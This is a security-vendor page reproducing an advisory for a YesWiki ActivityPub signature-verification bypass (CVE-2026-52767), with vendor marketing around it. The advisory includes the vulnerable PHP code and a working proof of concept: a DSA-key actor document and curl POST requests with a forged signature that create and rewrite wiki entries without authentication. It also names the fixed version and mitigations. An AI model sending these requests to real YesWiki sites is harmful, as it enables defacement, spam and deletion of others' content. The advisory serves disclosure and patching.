Your RSA-2048 keys break in 2030. Find every one of them before attackers do.
🐘
🐘 Packagist
Not in CISA KEV
HIGH severity

GHSA-mv28-wj57-f57g

HIGHFix: YesWiki/yeswiki@d1795e0

GHSA-mv28-wj57-f57g is a high-severity (CVSS 8.2) CWE-347 vulnerability in yeswiki/yeswiki. O3 Security confirms whether GHSA-mv28-wj57-f57g is actually reachable in your code before you act, and blocks exploitation at runtime until you patch.

YesWiki Vulnerable to Unauthenticated ActivityPub Signature-Verification Bypass via `!openssl_verify(...)` accepting `int(-1)`

Also known asCVE-2026-52767
Published
Jul 9, 2026
Updated
Jul 9, 2026
Affected
1 pkg
Patched
1 / 1
Exploits
None indexed
Exploitation data as of Sep 8, 2026 · OSV.dev, NVD, FIRST.org (EPSS)

EPSS Exploitation Probability

via FIRST.org ↗
0.2%probability of exploitation in next 30 days
Lower Risk0.00%
Lower risk than most CVEs12th percentile — riskier than 12% of all scored CVEsHighest risk

EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.

How urgent is this, really

GHSA-mv28-wj57-f57g plotted by exploitation likelihood (EPSS) against impact (CVSS). The shaded corner — EPSS 50%+ and CVSS 7.0+ — is where this CVE doesn't sit, though severity or exploitability alone can still warrant action.

Where this sits among everything scored

Of 369,023 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Real counts from FIRST.org, not a sample — log-scaled since the landscape is heavily right-skewed.

Real-World Exposure

1 pkg affected
🐘yeswiki/yeswiki

Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects Packagist packages — download data is not available via public APIs for these ecosystems.

Description

Summary

HttpSignatureService::verifySignature() checks the result of PHP's openssl_verify() with a loose boolean negation - if (!openssl_verify(...)) { throw ... }. PHP's openssl_verify has four possible return values:

returnmeaning!return
1signature is validfalse
0signature is invalidtrue
-1the verify call itself failed (internal error)false
falseinput rejected by PHP's argument validationtrue

The -1 row is the bypass: PHP's truthiness rules make -1 a truthy value, so !(-1) === false, the throw is skipped, and the controller proceeds to processActivity(). Any condition that makes OpenSSL's EVP_VerifyFinal() return -1 triggers the bypass.

The two practical paths to -1 we are aware of:

  1. DSA / EC public key with an RSA-only algorithm. openssl_verify(..., $dsaKey, "RSA-SHA256") returns int(-1) on PHP 8.3 + OpenSSL 3.x. This is the path the PoC uses; it works against an unmodified php:8.3-apache lab and against any deployment using the runtime stack YesWiki's own docker image ships.
  2. Older PHP + older OpenSSL where any unrecognised digest name returned -1 rather than false. The reporting research mentions this path; on current stacks false is returned instead and the throw fires correctly. The DSA path replaces it.

The reachable consequence is the same in both cases - the controller silently treats a failed verification as success and processes the attacker's payload.

Details

Affected component

  • File: tools/bazar/services/HttpSignatureService.php
  • Method: HttpSignatureService::verifySignature(Request $request)
  • Sink: line 130
// tools/bazar/services/HttpSignatureService.php  (v4.6.5 = origin/doryphore-dev HEAD)
public function verifySignature(Request $request) {
    ...                                                          // [Signature parse,
                                                                 //  outbound key fetch — see the SSRF advisory]
    $actorPublicKey = openssl_get_publickey($actor['publicKey']['publicKeyPem']);
    ...
    if (!openssl_verify(                                         // (a) LOOSE BOOLEAN CHECK
            join("\n", $sigParts),
            base64_decode($sigConf['signature']),
            $actorPublicKey,
            strtoupper($sigConf['algorithm'])
    )) {
        throw new Exception('Signature verification failed');    // (b) skipped when openssl_verify == -1
    }

    if ($request->headers->get('Digest') !== $this->getDigest($request->getContent())) {
        throw new Exception('Digest mismatch');                  // (c) still enforced — easy to satisfy
    }
}

The inbox controller calls verifySignature() and then runs processActivity($activity, $form), which is what actually mutates state.

End-to-end attack chain

A single unauthenticated POST per operation. No session, no CSRF, no real signature.

  1. Stand up an actor document that the attacker controls — any public web server (or webhook receiver) that returns a JSON body with the shape:

    {
      "id": "<exact URL the server will GET>",
      "publicKey": {
        "id": "<same URL>",
        "publicKeyPem": "<DSA public key in PEM form>"
      }
    }
    
  2. Send a Create / Update / Delete activity to POST /api/forms/{enabled-form-id}/actor/inbox:

    POST /?api/forms/2/actor/inbox HTTP/1.1
    Host: target.example
    Content-Type: application/activity+json
    Date: <RFC1123 date>
    Digest: SHA-256=<base64(sha256(body))>
    Signature: keyId="<actor URL>",algorithm="RSA-SHA256",headers="(request-target) host date digest content-type",signature="anVuaw=="
    
    {"@context":"https://www.w3.org/ns/activitystreams","type":"Create",
     "actor":"<actor URL>",
     "object":{"id":"<unique object URI>","type":"Event","name":"...","startTime":"..."}}
    
  3. YesWiki fetches the actor document (line 96 - the SSRF; see sibling advisory), parses it, calls openssl_get_publickey(...) which returns a valid OpenSSL key handle (DSA is parsed successfully), then calls openssl_verify($data, "junk-sig", $dsaKey, "RSA-SHA256"). EVP_VerifyFinal returns -1. The check !openssl_verify(...) evaluates to false and the throw is skipped.

  4. Digest header is enforced, but it's a simple SHA-256= of the body the attacker chose, so satisfying it costs one sha256sum.

  5. processActivity($activity, $form) runs: Create → EntryManager::create(), Update → EntryManager::update(), Delete → EntryManager::delete(). The triple store records the attacker's object.id as the source URL, which is how Update / Delete locate the entry on subsequent calls.

PoC

Pre Reqs

  • Yeswiki v4.6.5 lab image (Setup via podman)
  • ActivityPub enabled on the target form

For the rest of this document:

BASE="http://localhost:8085"
CTR="yeswiki-poc"
KEYID="http://127.0.0.1:9999/actors/attacker"
FORM_ID=2
MARKER="DEMO_$(date +%s)"

PHP one-liner - runs against the exact PHP+OpenSSL the lab is using. Confirm that openssl_verify returns -1.

podman exec "$CTR" php -r '
    $pem = file_get_contents("/tmp/attacker_keys/dsa.pub");
    $key = openssl_get_publickey($pem);
    $r   = openssl_verify("hello", "junk", $key, "RSA-SHA256");
    echo "openssl_verify returned: " . var_export($r, true) . "\n";
    echo "!openssl_verify(...)  is: " . var_export(!$r, true) . "\n";
'

Expected output:

openssl_verify returned: -1
!openssl_verify(...)  is: false

Verify the listener is up and serving the DSA-key actor

podman exec "$CTR" cat /tmp/ssrf_listener.pid
podman exec "$CTR" ps -p $(podman exec "$CTR" cat /tmp/ssrf_listener.pid) -o stat=
podman exec "$CTR" curl -s http://127.0.0.1:9999/actors/attacker | head -c 300; echo

Expected output: a PID, S (sleeping/alive), and a JSON document beginning with {"@context":"https://www.w3.org/ns/activitystreams","id":"http://127.0.0.1:9999/actors/attacker", ... and a publicKeyPem field whose value starts with -----BEGIN PUBLIC KEY-----\nMIIB... (the DSA key - note the Bv prefix typical of DSA-key DER, not the Ij of RSA).

Build a JSON Create activity that the Agenda form's reverse-semantic template can map (it expects an Event with name, content, startTime, endTime, location.address.*, etc.):

ACTIVITY='{
  "@context": "https://www.w3.org/ns/activitystreams",
  "type": "Create",
  "id":   "http://127.0.0.1:9999/activity/c-'"$MARKER"'",
  "actor":"'"$KEYID"'",
  "object": {
    "id":   "http://127.0.0.1:9999/objects/'"$MARKER"'",
    "type": "Event",
    "name": "'"$MARKER"' — created via the signature-verification bypass",
    "content": "openssl_verify returned -1; YesWiki accepted us anyway",
    "startTime": "2026-12-01T10:00:00Z",
    "endTime":   "2026-12-01T12:00:00Z"
  }
}'

# Digest must equal SHA-256= base64(sha256(body)) - this header IS enforced
DIGEST="SHA-256=$(printf '%s' "$ACTIVITY" | openssl dgst -sha256 -binary | base64)"
DATE="$(date -uR | sed 's/+0000/GMT/')"
SIG='keyId="'"$KEYID"'",algorithm="RSA-SHA256",headers="(request-target) host date digest content-type",signature="anVuaw=="'

curl -s -X POST "${BASE}/?api/forms/${FORM_ID}/actor/inbox" \
     -H "Content-Type: application/activity+json" \
     -H "Date: ${DATE}" \
     -H "Digest: ${DIGEST}" \
     -H "Signature: ${SIG}" \
     --data-raw "$ACTIVITY" \
     -w '\n  HTTP %{http_code}\n'

Now, try udating the entry via the same bypass

The triple store records <tag, sourceUrl, object.id> from the Create. An Update activity referencing the same object.id will look that up and rewrite the entry's body.

UPDATE_ACT='{
  "@context": "https://www.w3.org/ns/activitystreams",
  "type": "Update",
  "id":   "http://127.0.0.1:9999/activity/u-'"$MARKER"'",
  "actor":"'"$KEYID"'",
  "object": {
    "id":   "http://127.0.0.1:9999/objects/'"$MARKER"'",
    "type": "Event",
    "name": "'"$MARKER"'_UPDATED — title was changed by an unauthenticated POST",
    "content": "this row was modified via the SAME bypass",
    "startTime": "2026-12-01T10:00:00Z",
    "endTime":   "2026-12-01T12:00:00Z"
  }
}'
DIGEST="SHA-256=$(printf '%s' "$UPDATE_ACT" | openssl dgst -sha256 -binary | base64)"
DATE="$(date -uR | sed 's/+0000/GMT/')"

curl -s -X POST "${BASE}/?api/forms/${FORM_ID}/actor/inbox" \
     -H "Content-Type: application/activity+json" \
     -H "Date: ${DATE}" \
     -H "Digest: ${DIGEST}" \
     -H "Signature: ${SIG}" \
     --data-raw "$UPDATE_ACT" \
     -w '  HTTP %{http_code}\n'

Expected output: HTTP 200, empty body.

Impact

CRUD on bazar entries of any ActivityPub-enabled form, without authentication:

  • Create - EntryManager::create($form['bn_id_nature'], $entry, false, $object['id']). New row in yeswiki_pages and a triple <tag, sourceUrl, $object['id']> in yeswiki_triples.
  • Update - looks up the entry via the source-URL triple and rewrites its body with the attacker-supplied content.
  • Delete - same lookup, then EntryManager::delete($tag, true).

Concrete operational impact:

  • Defacement / content injection at scale - a public-facing wiki with the Agenda or Blog-actu form federated becomes a publishing target for any attacker who can route TCP to the YesWiki host.
  • Spam / SEO poisoning through the Bazar entry body, which is HTML-rendered for the wiki and indexed by search.
  • Erasure of legitimate federated content - any entry previously created via ActivityPub can be enumerated through the public outbox endpoint, its object.id discovered, and then deleted by replaying the chain with type=Delete.
  • Triple-store pollution - the yeswiki_triples table grows with attacker-controlled sourceUrl triples that survive entry deletion and can interfere with later federation flows.
  • Reputation / federation poisoning - the wiki appears (to remote ActivityPub peers and to its own users) to be receiving signed content from a remote actor, when in reality anyone on the network can post.

Affected Packages

1 total 1 fixed
EcosystemPackageVulnerable rangeFix
🐘Packagistyeswiki/yeswiki4.6.2&&< 4.6.64.6.6

Detection & mitigation playbook

Open-source dependency
  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for yeswiki/yeswiki. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.

  2. Fix

    Update yeswiki/yeswiki to 4.6.6 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-mv28-wj57-f57g is resolved across your whole dependency graph.

  3. Workarounds

    If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.

  4. How O3 protects you

    O3 pinpoints whether GHSA-mv28-wj57-f57g is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.

Tailored to GHSA-mv28-wj57-f57g. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.

Frequently Asked Questions

## Summary `HttpSignatureService::verifySignature()` checks the result of PHP's `openssl_verify()` with a **loose boolean negation** - `if (!openssl_verify(...)) { throw ... }`. PHP's `openssl_verify` has four possible return values: | return | meaning | `!return` | | ------ | ------------------------------------------------ | --------- | | `1` | signature is valid | `false` | | `0` | signature is invalid | `true` ✓ | | `-1` | the verify call itself failed (internal error) | **`fals
O3 Security · Impact-Aware SCA

Is GHSA-mv28-wj57-f57g in your dependencies?

O3 detects GHSA-mv28-wj57-f57g across Packagist dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.

GHSA-mv28-wj57-f57g: yeswiki/yeswiki… | O3 Security